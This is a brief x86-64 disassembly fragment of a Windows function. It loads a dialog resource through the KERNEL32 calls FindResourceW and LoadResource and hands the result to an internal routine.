cmp dword [rcx + 0xe8], 0
jne 0x1400209a3
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140023ca4
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x1400209e7
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400209e7
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.1400211e0
jmp 0x1400209e9
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret